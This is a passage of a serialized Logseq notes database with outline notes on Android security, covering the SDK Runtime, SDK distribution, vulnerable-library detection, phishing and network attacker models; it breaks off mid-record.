memorylogseq____&quot;,536875381]],[logseq____&quot;^15logseq____&quot;,[665,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875356]],[logseq____&quot;^15logseq____&quot;,[665,logseq____&quot;^@logseq____&quot;,false,536875356]],[logseq____&quot;^15logseq____&quot;,[665,logseq____&quot;^Flogseq____&quot;,664,536875356]],[logseq____&quot;^15logseq____&quot;,[665,logseq____&quot;^Xlogseq____&quot;,641,536875356]],[logseq____&quot;^15logseq____&quot;,[665,logseq____&quot;^Vlogseq____&quot;,664,536875358]],[logseq____&quot;^15logseq____&quot;,[665,logseq____&quot;^Ulogseq____&quot;,641,536875357]],[logseq____&quot;^15logseq____&quot;,[665,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875381]],[logseq____&quot;^15logseq____&quot;,[665,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f70b-4947-42dd-bc10-9eedb9acf457logseq____&quot;,536875356]],[logseq____&quot;^15logseq____&quot;,[666,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Threads and dynamic code loading can \\logseq____&quot;clean call stack\\logseq____&quot; not listing malicious componentslogseq____&quot;,536875412]],[logseq____&quot;^15logseq____&quot;,[666,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875384]],[logseq____&quot;^15logseq____&quot;,[666,logseq____&quot;^@logseq____&quot;,false,536875384]],[logseq____&quot;^15logseq____&quot;,[666,logseq____&quot;^Flogseq____&quot;,665,536875384]],[logseq____&quot;^15logseq____&quot;,[666,logseq____&quot;^Xlogseq____&quot;,641,536875384]],[logseq____&quot;^15logseq____&quot;,[666,logseq____&quot;^Vlogseq____&quot;,664,536875384]],[logseq____&quot;^15logseq____&quot;,[666,logseq____&quot;^Ulogseq____&quot;,641,536875385]],[logseq____&quot;^15logseq____&quot;,[666,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875412]],[logseq____&quot;^15logseq____&quot;,[666,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f71f-f60d-4718-943d-a50d7759e73flogseq____&quot;,536875384]],[logseq____&quot;^15logseq____&quot;,[667,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## SDK-Runtimelogseq____&quot;,536875428]],[logseq____&quot;^15logseq____&quot;,[667,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875415]],[logseq____&quot;^15logseq____&quot;,[667,logseq____&quot;^@logseq____&quot;,false,536875415]],[logseq____&quot;^15logseq____&quot;,[667,logseq____&quot;^Flogseq____&quot;,661,536875422]],[logseq____&quot;^15logseq____&quot;,[667,logseq____&quot;^Xlogseq____&quot;,641,536875415]],[logseq____&quot;^15logseq____&quot;,[667,logseq____&quot;^Vlogseq____&quot;,641,536875422]],[logseq____&quot;^15logseq____&quot;,[667,logseq____&quot;^Ulogseq____&quot;,641,536875416]],[logseq____&quot;^15logseq____&quot;,[667,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536875428]],[logseq____&quot;^15logseq____&quot;,[667,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536875428]],[logseq____&quot;^15logseq____&quot;,[667,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f7a6-a663-49c9-af8d-3dc9e7478a67logseq____&quot;,536875415]],[logseq____&quot;^15logseq____&quot;,[668,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Compatible SDKs run in a separate, isolated processlogseq____&quot;,536875472]],[logseq____&quot;^15logseq____&quot;,[668,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875428]],[logseq____&quot;^15logseq____&quot;,[668,logseq____&quot;^@logseq____&quot;,false,536875428]],[logseq____&quot;^15logseq____&quot;,[668,logseq____&quot;^Flogseq____&quot;,667,536875428]],[logseq____&quot;^15logseq____&quot;,[668,logseq____&quot;^Xlogseq____&quot;,641,536875428]],[logseq____&quot;^15logseq____&quot;,[668,logseq____&quot;^Vlogseq____&quot;,667,536875430]],[logseq____&quot;^15logseq____&quot;,[668,logseq____&quot;^Ulogseq____&quot;,641,536875429]],[logseq____&quot;^15logseq____&quot;,[668,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875472]],[logseq____&quot;^15logseq____&quot;,[668,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f7ab-3ea1-4683-ad1a-dfec33462979logseq____&quot;,536875428]],[logseq____&quot;^15logseq____&quot;,[669,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Bidirectional communication via IPClogseq____&quot;,536875457]],[logseq____&quot;^15logseq____&quot;,[669,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875453]],[logseq____&quot;^15logseq____&quot;,[669,logseq____&quot;^@logseq____&quot;,false,536875453]],[logseq____&quot;^15logseq____&quot;,[669,logseq____&quot;^Flogseq____&quot;,670,536875472]],[logseq____&quot;^15logseq____&quot;,[669,logseq____&quot;^Xlogseq____&quot;,641,536875453]],[logseq____&quot;^15logseq____&quot;,[669,logseq____&quot;^Vlogseq____&quot;,667,536875453]],[logseq____&quot;^15logseq____&quot;,[669,logseq____&quot;^Ulogseq____&quot;,641,536875454]],[logseq____&quot;^15logseq____&quot;,[669,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875457]],[logseq____&quot;^15logseq____&quot;,[669,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f7bf-4d41-4e8a-8dda-53c4ab9fbb36logseq____&quot;,536875453]],[logseq____&quot;^15logseq____&quot;,[670,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;new SELinux type, minimal storage access, custom permission setlogseq____&quot;,536875479]],[logseq____&quot;^15logseq____&quot;,[670,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875472]],[logseq____&quot;^15logseq____&quot;,[670,logseq____&quot;^@logseq____&quot;,false,536875472]],[logseq____&quot;^15logseq____&quot;,[670,logseq____&quot;^Flogseq____&quot;,668,536875472]],[logseq____&quot;^15logseq____&quot;,[670,logseq____&quot;^Xlogseq____&quot;,641,536875472]],[logseq____&quot;^15logseq____&quot;,[670,logseq____&quot;^Vlogseq____&quot;,667,536875472]],[logseq____&quot;^15logseq____&quot;,[670,logseq____&quot;^Ulogseq____&quot;,641,536875473]],[logseq____&quot;^15logseq____&quot;,[670,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875479]],[logseq____&quot;^15logseq____&quot;,[670,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f822-b4ad-4073-a983-e66295915551logseq____&quot;,536875472]],[logseq____&quot;^15logseq____&quot;,[671,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```mermaid\\nsequenceDiagram\\n participant A as App\\n participant M as SDKManager\\n participant S as SDK\\n \\n A-logseq____&gt;logseq____&gt;A: \\logseq____&quot;Load SDK\\logseq____&quot; (User action/UI)\\n A-logseq____&gt;logseq____&gt;M: loadSdk()\\n M-logseq____&gt;logseq____&gt;S: onLoadSdk()\\n S--logseq____&gt;logseq____&gt;M: onResultCallback()\\n M--logseq____&gt;logseq____&gt;A: onResultCallback()\\n A--logseq____&gt;logseq____&gt;A: result.getInterface() -logseq____&gt; binder\\n A--logseq____&gt;logseq____&gt;A: SdkInterface.Stub.asInterface(binder) -logseq____&gt; mySdkInterface\\n A-logseq____&gt;logseq____&gt;S: mySdkInterface.methodB(callback)\\n S--logseq____&gt;logseq____&gt;A: callback.something\\n```logseq____&quot;,536875505]],[logseq____&quot;^15logseq____&quot;,[671,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875482]],[logseq____&quot;^15logseq____&quot;,[671,logseq____&quot;^@logseq____&quot;,false,536875482]],[logseq____&quot;^15logseq____&quot;,[671,logseq____&quot;^Flogseq____&quot;,669,536875482]],[logseq____&quot;^15logseq____&quot;,[671,logseq____&quot;^Xlogseq____&quot;,641,536875482]],[logseq____&quot;^15logseq____&quot;,[671,logseq____&quot;^Vlogseq____&quot;,667,536875482]],[logseq____&quot;^15logseq____&quot;,[671,logseq____&quot;^Ulogseq____&quot;,641,536875483]],[logseq____&quot;^15logseq____&quot;,[671,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875505]],[logseq____&quot;^15logseq____&quot;,[671,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f86c-0691-474b-8357-385fa2d56549logseq____&quot;,536875482]],[logseq____&quot;^15logseq____&quot;,[672,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## SDK Distribution (logseq____&gt;= Android 13)logseq____&quot;,536875547]],[logseq____&quot;^15logseq____&quot;,[672,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875495]],[logseq____&quot;^15logseq____&quot;,[672,logseq____&quot;^@logseq____&quot;,false,536875495]],[logseq____&quot;^15logseq____&quot;,[672,logseq____&quot;^Flogseq____&quot;,667,536875508]],[logseq____&quot;^15logseq____&quot;,[672,logseq____&quot;^Xlogseq____&quot;,641,536875495]],[logseq____&quot;^15logseq____&quot;,[672,logseq____&quot;^Vlogseq____&quot;,641,536875508]],[logseq____&quot;^15logseq____&quot;,[672,logseq____&quot;^Ulogseq____&quot;,641,536875496]],[logseq____&quot;^15logseq____&quot;,[672,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536875547]],[logseq____&quot;^15logseq____&quot;,[672,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536875547]],[logseq____&quot;^15logseq____&quot;,[672,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f870-e5ec-4b7b-bb94-5da86fe9c5edlogseq____&quot;,536875495]],[logseq____&quot;^15logseq____&quot;,[673,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;SDK Developers can upload versioned SDKs to app stores separate from appslogseq____&quot;,536875551]],[logseq____&quot;^15logseq____&quot;,[673,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875512]],[logseq____&quot;^15logseq____&quot;,[673,logseq____&quot;^@logseq____&quot;,false,536875512]],[logseq____&quot;^15logseq____&quot;,[673,logseq____&quot;^Flogseq____&quot;,672,536875512]],[logseq____&quot;^15logseq____&quot;,[673,logseq____&quot;^Xlogseq____&quot;,641,536875512]],[logseq____&quot;^15logseq____&quot;,[673,logseq____&quot;^Vlogseq____&quot;,672,536875514]],[logseq____&quot;^15logseq____&quot;,[673,logseq____&quot;^Ulogseq____&quot;,641,536875548]],[logseq____&quot;^15logseq____&quot;,[673,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875551]],[logseq____&quot;^15logseq____&quot;,[673,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f9c4-1492-4e1c-87ad-a1454b470324logseq____&quot;,536875512]],[logseq____&quot;^15logseq____&quot;,[674,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Specify SDK dependencies by versionlogseq____&quot;,536875579]],[logseq____&quot;^15logseq____&quot;,[674,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875551]],[logseq____&quot;^15logseq____&quot;,[674,logseq____&quot;^@logseq____&quot;,false,536875551]],[logseq____&quot;^15logseq____&quot;,[674,logseq____&quot;^Flogseq____&quot;,673,536875551]],[logseq____&quot;^15logseq____&quot;,[674,logseq____&quot;^Xlogseq____&quot;,641,536875551]],[logseq____&quot;^15logseq____&quot;,[674,logseq____&quot;^Vlogseq____&quot;,672,536875551]],[logseq____&quot;^15logseq____&quot;,[674,logseq____&quot;^Ulogseq____&quot;,641,536875552]],[logseq____&quot;^15logseq____&quot;,[674,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875579]],[logseq____&quot;^15logseq____&quot;,[674,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9f9f3-fd82-4d41-8ffb-db116380ccc4logseq____&quot;,536875551]],[logseq____&quot;^15logseq____&quot;,[675,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Build App release not including SDK dependencieslogseq____&quot;,536875601]],[logseq____&quot;^15logseq____&quot;,[675,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875579]],[logseq____&quot;^15logseq____&quot;,[675,logseq____&quot;^@logseq____&quot;,false,536875579]],[logseq____&quot;^15logseq____&quot;,[675,logseq____&quot;^Flogseq____&quot;,674,536875579]],[logseq____&quot;^15logseq____&quot;,[675,logseq____&quot;^Xlogseq____&quot;,641,536875579]],[logseq____&quot;^15logseq____&quot;,[675,logseq____&quot;^Vlogseq____&quot;,672,536875579]],[logseq____&quot;^15logseq____&quot;,[675,logseq____&quot;^Ulogseq____&quot;,641,536875580]],[logseq____&quot;^15logseq____&quot;,[675,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875601]],[logseq____&quot;^15logseq____&quot;,[675,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9fa15-52e5-465b-8130-658e60312a48logseq____&quot;,536875579]],[logseq____&quot;^15logseq____&quot;,[676,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;When app is build on end-user device, correct SDK is downloaded from app storelogseq____&quot;,536875614]],[logseq____&quot;^15logseq____&quot;,[676,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875604]],[logseq____&quot;^15logseq____&quot;,[676,logseq____&quot;^@logseq____&quot;,false,536875604]],[logseq____&quot;^15logseq____&quot;,[676,logseq____&quot;^Flogseq____&quot;,675,536875604]],[logseq____&quot;^15logseq____&quot;,[676,logseq____&quot;^Xlogseq____&quot;,641,536875604]],[logseq____&quot;^15logseq____&quot;,[676,logseq____&quot;^Vlogseq____&quot;,672,536875604]],[logseq____&quot;^15logseq____&quot;,[676,logseq____&quot;^Ulogseq____&quot;,641,536875605]],[logseq____&quot;^15logseq____&quot;,[676,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875614]],[logseq____&quot;^15logseq____&quot;,[676,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9fa2a-58a4-4c70-8452-5195dd1d8930logseq____&quot;,536875604]],[logseq____&quot;^15logseq____&quot;,[678,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;# Topic 4 - UI Deception Attackslogseq____&quot;,536875770]],[logseq____&quot;^15logseq____&quot;,[678,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875620]],[logseq____&quot;^15logseq____&quot;,[678,logseq____&quot;^Flogseq____&quot;,639,536875758]],[logseq____&quot;^15logseq____&quot;,[678,logseq____&quot;^Xlogseq____&quot;,296,536875620]],[logseq____&quot;^15logseq____&quot;,[678,logseq____&quot;^Vlogseq____&quot;,296,536875758]],[logseq____&quot;^15logseq____&quot;,[678,logseq____&quot;^Ulogseq____&quot;,296,536875621]],[logseq____&quot;^15logseq____&quot;,[678,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,1],536878163]],[logseq____&quot;^15logseq____&quot;,[678,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[678,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9fa87-8395-49b9-a71f-802d0638fa47logseq____&quot;,536875620]],[logseq____&quot;^15logseq____&quot;,[679,logseq____&quot;^Klogseq____&quot;,1740241552405,536875624]],[logseq____&quot;^15logseq____&quot;,[679,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875628]],[logseq____&quot;^15logseq____&quot;,[679,logseq____&quot;^@logseq____&quot;,false,536875624]],[logseq____&quot;^15logseq____&quot;,[679,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;vulnerable librarieslogseq____&quot;,536875624]],[logseq____&quot;^15logseq____&quot;,[679,logseq____&quot;^11logseq____&quot;,logseq____&quot;Vulnerable Librarieslogseq____&quot;,536875624]],[logseq____&quot;^15logseq____&quot;,[679,logseq____&quot;^Blogseq____&quot;,1740241831209,536875752]],[logseq____&quot;^15logseq____&quot;,[679,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-03c6-4958-9591-97beb5fe10f5logseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[680,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Library Detectionlogseq____&quot;,536875636]],[logseq____&quot;^15logseq____&quot;,[680,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875629]],[logseq____&quot;^15logseq____&quot;,[680,logseq____&quot;^@logseq____&quot;,false,536875629]],[logseq____&quot;^15logseq____&quot;,[680,logseq____&quot;^Flogseq____&quot;,679,536875629]],[logseq____&quot;^15logseq____&quot;,[680,logseq____&quot;^Xlogseq____&quot;,679,536875629]],[logseq____&quot;^15logseq____&quot;,[680,logseq____&quot;^Vlogseq____&quot;,679,536875629]],[logseq____&quot;^15logseq____&quot;,[680,logseq____&quot;^Ulogseq____&quot;,679,536875630]],[logseq____&quot;^15logseq____&quot;,[680,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536875636]],[logseq____&quot;^15logseq____&quot;,[680,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536875636]],[logseq____&quot;^15logseq____&quot;,[680,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9fa91-7ee1-4409-b941-29b2b30173a8logseq____&quot;,536875629]],[logseq____&quot;^15logseq____&quot;,[682,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Problem: Build chain *merges* app and library code into `classes.dex`logseq____&quot;,536875659]],[logseq____&quot;^15logseq____&quot;,[682,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875636]],[logseq____&quot;^15logseq____&quot;,[682,logseq____&quot;^@logseq____&quot;,false,536875636]],[logseq____&quot;^15logseq____&quot;,[682,logseq____&quot;^Flogseq____&quot;,680,536875636]],[logseq____&quot;^15logseq____&quot;,[682,logseq____&quot;^Xlogseq____&quot;,679,536875636]],[logseq____&quot;^15logseq____&quot;,[682,logseq____&quot;^Vlogseq____&quot;,680,536875638]],[logseq____&quot;^15logseq____&quot;,[682,logseq____&quot;^Ulogseq____&quot;,679,536875637]],[logseq____&quot;^15logseq____&quot;,[682,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875659]],[logseq____&quot;^15logseq____&quot;,[682,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9fad1-3215-49e9-b458-4c6bcb46fcd8logseq____&quot;,536875636]],[logseq____&quot;^15logseq____&quot;,[683,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Version specific detection is non-trivial (code clustering / library profiling)logseq____&quot;,536875695]],[logseq____&quot;^15logseq____&quot;,[683,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875659]],[logseq____&quot;^15logseq____&quot;,[683,logseq____&quot;^@logseq____&quot;,false,536875659]],[logseq____&quot;^15logseq____&quot;,[683,logseq____&quot;^Flogseq____&quot;,682,536875659]],[logseq____&quot;^15logseq____&quot;,[683,logseq____&quot;^Xlogseq____&quot;,679,536875659]],[logseq____&quot;^15logseq____&quot;,[683,logseq____&quot;^Vlogseq____&quot;,680,536875659]],[logseq____&quot;^15logseq____&quot;,[683,logseq____&quot;^Ulogseq____&quot;,679,536875660]],[logseq____&quot;^15logseq____&quot;,[683,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875695]],[logseq____&quot;^15logseq____&quot;,[683,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9fae3-1c8e-42d8-bae5-173dd31061f4logseq____&quot;,536875659]],[logseq____&quot;^15logseq____&quot;,[684,logseq____&quot;^12logseq____&quot;,2,536875665]],[logseq____&quot;^15logseq____&quot;,[685,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Challenges: Dead-code elimination, package flattening, repackaginglogseq____&quot;,536875736]],[logseq____&quot;^15logseq____&quot;,[685,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875698]],[logseq____&quot;^15logseq____&quot;,[685,logseq____&quot;^@logseq____&quot;,false,536875698]],[logseq____&quot;^15logseq____&quot;,[685,logseq____&quot;^Flogseq____&quot;,683,536875698]],[logseq____&quot;^15logseq____&quot;,[685,logseq____&quot;^Xlogseq____&quot;,679,536875698]],[logseq____&quot;^15logseq____&quot;,[685,logseq____&quot;^Vlogseq____&quot;,680,536875708]],[logseq____&quot;^15logseq____&quot;,[685,logseq____&quot;^Ulogseq____&quot;,679,536875699]],[logseq____&quot;^15logseq____&quot;,[685,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875736]],[logseq____&quot;^15logseq____&quot;,[685,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9fb51-5d22-49cc-9d8e-be17e896b445logseq____&quot;,536875698]],[logseq____&quot;^15logseq____&quot;,[686,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;LibID: Use dependency graphslogseq____&quot;,536875752]],[logseq____&quot;^15logseq____&quot;,[686,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875739]],[logseq____&quot;^15logseq____&quot;,[686,logseq____&quot;^@logseq____&quot;,false,536875739]],[logseq____&quot;^15logseq____&quot;,[686,logseq____&quot;^Flogseq____&quot;,685,536875739]],[logseq____&quot;^15logseq____&quot;,[686,logseq____&quot;^Xlogseq____&quot;,679,536875739]],[logseq____&quot;^15logseq____&quot;,[686,logseq____&quot;^Vlogseq____&quot;,680,536875739]],[logseq____&quot;^15logseq____&quot;,[686,logseq____&quot;^Ulogseq____&quot;,679,536875740]],[logseq____&quot;^15logseq____&quot;,[686,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536875752]],[logseq____&quot;^15logseq____&quot;,[686,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b9fb9f-3e9c-4b4e-906f-9e1f4e81bed5logseq____&quot;,536875739]],[logseq____&quot;^15logseq____&quot;,[687,logseq____&quot;^12logseq____&quot;,2,536875756]],[logseq____&quot;^15logseq____&quot;,[688,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Phishing]]logseq____&quot;,536875777]],[logseq____&quot;^15logseq____&quot;,[688,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875770]],[logseq____&quot;^15logseq____&quot;,[688,logseq____&quot;^Flogseq____&quot;,678,536875770]],[logseq____&quot;^15logseq____&quot;,[688,logseq____&quot;^Xlogseq____&quot;,296,536875770]],[logseq____&quot;^15logseq____&quot;,[688,logseq____&quot;^Vlogseq____&quot;,678,536875772]],[logseq____&quot;^15logseq____&quot;,[688,logseq____&quot;^Ulogseq____&quot;,296,536875778]],[logseq____&quot;^15logseq____&quot;,[688,logseq____&quot;^Ulogseq____&quot;,689,536875778]],[logseq____&quot;^15logseq____&quot;,[688,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536878163]],[logseq____&quot;^15logseq____&quot;,[688,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[688,logseq____&quot;^Hlogseq____&quot;,689,536878163]],[logseq____&quot;^15logseq____&quot;,[688,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae06b-c383-4a6c-8c10-e244314e9248logseq____&quot;,536875770]],[logseq____&quot;^15logseq____&quot;,[689,logseq____&quot;^Klogseq____&quot;,1740300406131,536875777]],[logseq____&quot;^15logseq____&quot;,[689,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875785]],[logseq____&quot;^15logseq____&quot;,[689,logseq____&quot;^@logseq____&quot;,false,536875777]],[logseq____&quot;^15logseq____&quot;,[689,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;phishinglogseq____&quot;,536875777]],[logseq____&quot;^15logseq____&quot;,[689,logseq____&quot;^11logseq____&quot;,logseq____&quot;Phishinglogseq____&quot;,536875777]],[logseq____&quot;^15logseq____&quot;,[689,logseq____&quot;^Blogseq____&quot;,1740318925498,536876560]],[logseq____&quot;^15logseq____&quot;,[689,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bd79bb-a016-49bc-ac85-0fbc5285d1eclogseq____&quot;,536878163]],[logseq____&quot;^15logseq____&quot;,[690,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;# Topic 5 - Network Securitylogseq____&quot;,536876573]],[logseq____&quot;^15logseq____&quot;,[690,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875781]],[logseq____&quot;^15logseq____&quot;,[690,logseq____&quot;^@logseq____&quot;,false,536875781]],[logseq____&quot;^15logseq____&quot;,[690,logseq____&quot;^Flogseq____&quot;,678,536875781]],[logseq____&quot;^15logseq____&quot;,[690,logseq____&quot;^Xlogseq____&quot;,296,536875781]],[logseq____&quot;^15logseq____&quot;,[690,logseq____&quot;^Vlogseq____&quot;,296,536875781]],[logseq____&quot;^15logseq____&quot;,[690,logseq____&quot;^Ulogseq____&quot;,296,536875782]],[logseq____&quot;^15logseq____&quot;,[690,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,1],536878163]],[logseq____&quot;^15logseq____&quot;,[690,logseq____&quot;^Jlogseq____&quot;,[],536878163]],[logseq____&quot;^15logseq____&quot;,[690,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae078-3cf5-4774-aeed-6955c869764blogseq____&quot;,536875781]],[logseq____&quot;^15logseq____&quot;,[691,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Informationlogseq____&quot;,536875789]],[logseq____&quot;^15logseq____&quot;,[691,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875786]],[logseq____&quot;^15logseq____&quot;,[691,logseq____&quot;^@logseq____&quot;,false,536875786]],[logseq____&quot;^15logseq____&quot;,[691,logseq____&quot;^Flogseq____&quot;,689,536875786]],[logseq____&quot;^15logseq____&quot;,[691,logseq____&quot;^Xlogseq____&quot;,689,536875786]],[logseq____&quot;^15logseq____&quot;,[691,logseq____&quot;^Vlogseq____&quot;,689,536875786]],[logseq____&quot;^15logseq____&quot;,[691,logseq____&quot;^Ulogseq____&quot;,689,536875787]],[logseq____&quot;^15logseq____&quot;,[691,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536876194]],[logseq____&quot;^15logseq____&quot;,[691,logseq____&quot;^Jlogseq____&quot;,[],536876194]],[logseq____&quot;^15logseq____&quot;,[691,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae079-f754-42fd-ab92-4c7b9d81bbd1logseq____&quot;,536875786]],[logseq____&quot;^15logseq____&quot;,[692,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;*Local* attacker(malicious app installed)logseq____&quot;,536875819]],[logseq____&quot;^15logseq____&quot;,[692,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875789]],[logseq____&quot;^15logseq____&quot;,[692,logseq____&quot;^@logseq____&quot;,false,536875789]],[logseq____&quot;^15logseq____&quot;,[692,logseq____&quot;^Flogseq____&quot;,691,536875789]],[logseq____&quot;^15logseq____&quot;,[692,logseq____&quot;^Xlogseq____&quot;,689,536875789]],[logseq____&quot;^15logseq____&quot;,[692,logseq____&quot;^Vlogseq____&quot;,691,536875791]],[logseq____&quot;^15logseq____&quot;,[692,logseq____&quot;^Ulogseq____&quot;,689,536875790]],[logseq____&quot;^15logseq____&quot;,[692,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae0bb-c672-4bf0-910d-53ff48def946logseq____&quot;,536875789]],[logseq____&quot;^15logseq____&quot;,[694,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Steal sensitive informationlogseq____&quot;,536875841]],[logseq____&quot;^15logseq____&quot;,[694,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536875819]],[logseq____&quot;^15logseq____&quot;,[694,logseq____&quot;^@logseq____&quot;,false,536875819]],[logseq____&quot;^15logseq____&quot;,[694,logseq____&quot;^Flogseq____&quot;,692,536875819]],[logseq____&quot;^15logseq____&quot;,[694,logseq____&quot;^Xlogseq____&quot;,689,536875819]],[logseq____&quot;^15logseq____&quot;,[694,logseq____&quot;^Vlogseq____&quot;,691,536875819]],[logseq____&quot;^15logseq____&quot;,[694,logseq____&quot;^Ulogseq____&quot;,689,536875820]],[logseq____&quot;^15logseq____&quot;,[694,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bae0d4-0b91-4643-863e-e6cb7a55d371logseq____&quot;,536875819]],[logseq____&quot;^15logseq____&quot;,[695,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;UI feedback 